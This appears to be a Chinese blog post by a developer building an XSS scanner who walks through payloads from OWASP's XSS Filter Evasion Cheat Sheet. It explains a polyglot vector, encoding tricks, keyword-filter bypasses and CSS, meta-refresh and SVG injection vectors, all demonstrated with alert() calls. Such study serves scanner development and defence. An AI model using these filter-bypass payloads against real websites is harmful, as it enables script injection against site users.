前言
这段时间在公司写XSS扫描器,之前留下的脚本是遍历payload list的暴力扫描,而我的任务是修改为类似于SQLMAP的智能扫描模式。 在寻找到输入输出点之后,我开始思考智能化扫描能给扫描器带来什么样的提升。 直到今天,我才有了一个初步的答案:根据上下文环境,定制payload。 定制化的payload不仅能够根据WEB前端框架选择payload以减少扫描流量,还能根据输出点的实际情况判断过滤条件,通过一些方法来绕过过滤。 因此,我开始研究XSS绕过过滤的方法。 偶然翻到OWASP维护的XSS Filter Evasion Cheat Sheet,之前都只是拿其中的payload来使用,并没有仔细研究过每个payload的原理,就趁此机会好好研究。
针对扫描器的应用场景,我将一些适应性广泛的payload记录下来,并且根据它们绕过的过滤条件将payload分类。 实验过程中发现payload无法执行,不得其解,等研究清楚了再补上。
一个绝妙的适应性payload
首先吸引我眼球的是这样一个向量:1
javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'>
OWASP对它的描述是,能够在多种上下文环境下运行,包括html、 script字符串、 js代码和url中生效。 这个payload正是扫描器需要的!但它是如何做到适应多种环境的呢?我们尝试对它进行分解。
首先是一开始的Javascript伪协议,熟悉XSS的人对它肯定不陌生。 这种伪协议能够使后面的语句在a标签的href、 各类on事件中被当作JavaScript代码执行。 因此,它后面紧跟的注释符/**/
之间的代码便被注释掉了,最后//
之后的代码也被注释掉,真正执行的是[]/+alert(1)
这个语句。 这个奇怪的语句是什么意思呢?我们知道,JavaScript是一种弱类型语言,在运算过程中对于算子的类型没有严格的要求。 上面这个语句可以看作a除以正b,其中a是空的数组,b是alert(1)
这个函数的执行结果。 数组在计算时会被转化成它的长度,而函数则是使用函数的返回值。 由于alert函数是没有返回的,这个语句的执行结果便是NaN。 我们打开浏览器的控制台,执行这个语句,可以看到这个结果。 到此,我们的目标:alert(1)已经被成功执行了。 以上便是输出点在href或on事件中的情况。
然后是html的注释结束符,以及一些标签的结束标签,这部分不细说。 我们现在关注后面的svg标签。 我们将这个payload直接保存在一个html文件中,最终生效的就是这个svg标签,它的唯一属性是一个onload的事件,内容为+/"/+/onmouseover=1/+/[*/[]/+alert(1)//
,这个语句也会被当作JS代码执行。 和上面同理,+号分隔的字符会被分别处理最后再求和。 我们看到前面的/"/
和/onmouseover=1/
和/[*/[]/
都被当做JS的正则表达式了,自然没有语法错误。 最后的alert也成功执行。
如果输出点在html属性中会怎么样呢?假设这个属性是在双引号字符串中,那么payload的前半部分javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"
会闭合前面的双引号成为一个新的字符串,后面的/+/onmouseover=1/+/[*/[]/+alert(1)//'>
形成一个新的onmouseover事件。 这里注意html标签中字段是可以用/分割的,因此加号和onmouseover成为了这个标签的两个属性,onmouseover后面的语句也在鼠标滑过时成功被执行了,原理和上面一样,不再赘述。 单引号属性和双引号也基本相同,都是为标签新增了一个鼠标滑过事件。
如果这个输出点是在JavaScript代码中的字符串呢?同样,单引号、双引号之前的内容会闭合前面的字符串,而后面的/+/onmouseover=1/+/[*/[]/+alert(1)//
也还是会被当做正则表达式和函数的求和,从而成功执行。
此payload构造的精妙之处在于利用了+号和/号的多重含义,是得在任何上下文中都没有语法错误,实在精妙。 它的高适应性,在使用扫描器时不知道输出点的情况下及其实用。
利用特殊编码绕过特殊字符过滤
这类绕过方法其实在“那些年我们一起学XSS”中已经都出现过了,常用的是以下两种编码方式。
- 在html标签的属性中,可以用HTML实体编码
1 | <IMG SRC=javascript:alert("XSS")> |
另外不带分号也是可以的,这种方法可以绕过针对x;形式的过滤1
2<img src=x onerror="javascript:alert('XSS')">
<IMG SRC=javascript:alert('XSS')>
实体编码只能在html节点的属性中使用,但有一个特殊情况:1
<svg><script>alert(1)</script>
不在html节点属性中的实体编码居然成功转义并且执行了?这里能够运行的原因是,svg后面的元素遵循xml标准,而xml中的实体编码会被自动解码。 具体的细节可以参考SVG XSS的一个黑魔法,讲得比我要细致很多。
- 在JS字符串中,可以用Unicode编码
1 | <DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029"> |
其中,\0061 = \u0061 = \x61
值得一提的是p神提过的技巧,利用location来变形我们的XSS PAYLOAD1
<img src="1" onerror=location="javascript:alert\u00281\u0029">
利用location,使得后面的JS语句执行变成JS字符串,从而可以利用Unicode编码绕过各种过滤。
绕过关键字过滤
很多WAF会将一些危险的关键字,诸如script、 on过滤掉。 我们来看看这个列表中有哪些绕过方式。
- 在payload中加入占位符,如空格、 tab、 换行等。 正如我们平时写代码一样,都不影响代码正常运行:
1 | <IMG SRC="jav	ascript:alert('XSS');"> |
这里有读者可能会困惑,为什么这几条语句都没有弹窗?我们打开控制台,看看network页面:
可以看到javascript:alert('XSS')
生效了,但是被chrome的安全策略取消了。 我们尝试在iframe中使用,便能够看到弹窗:1
<iframe src="jav	ascript:alert('XSS');">
这个例子也说明了测试xss时最好在控制台以及网络日志里面查看输出,而不要仅仅依赖弹窗。
- 双重转义。 有些WAF的逻辑有误,当我们输入\”时,会被转义成\“,从而使双引号逃逸:
1 | \";alert('XSS');// |
我认为它与重写script的payload有异曲同工之妙1
<scrscriptipt>alert(1)</scrscriptipt>
- 大小写,原理无需多说,过滤语句不全面导致:
1 | <IMG SRC=1 onerror=JaVaScRiPt:alert('XSS')> |
零散的技巧
利用重音符来包含字符串, 大部分过滤器都没有过滤这个字符:1
<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>
非常奇怪的img标签解析,OWASP上描述是为了兼容不规范的编码:1
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
CSS中的XSS:1
2<STYLE>body{background-image:url(//eviloh.xyz);}</STYLE>
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
使用meta标签:1
2
3<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">
插入含有xss代码的flash, 可以添加属性allowScriptAccess="never"
以及allownetworking="internal"
来减小被过滤的风险1
<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>
后话
xss的绕过过滤技巧极多,受到浏览器、 上下文、 编码、 前端框架等多种因素影响,不管是手动测试还是集成为扫描器,都不是一蹴而就的事情,需要长时间的积累和迭代。 后面我会总结一个xss过滤速查表,力求能够更上攻击载荷更新的步伐。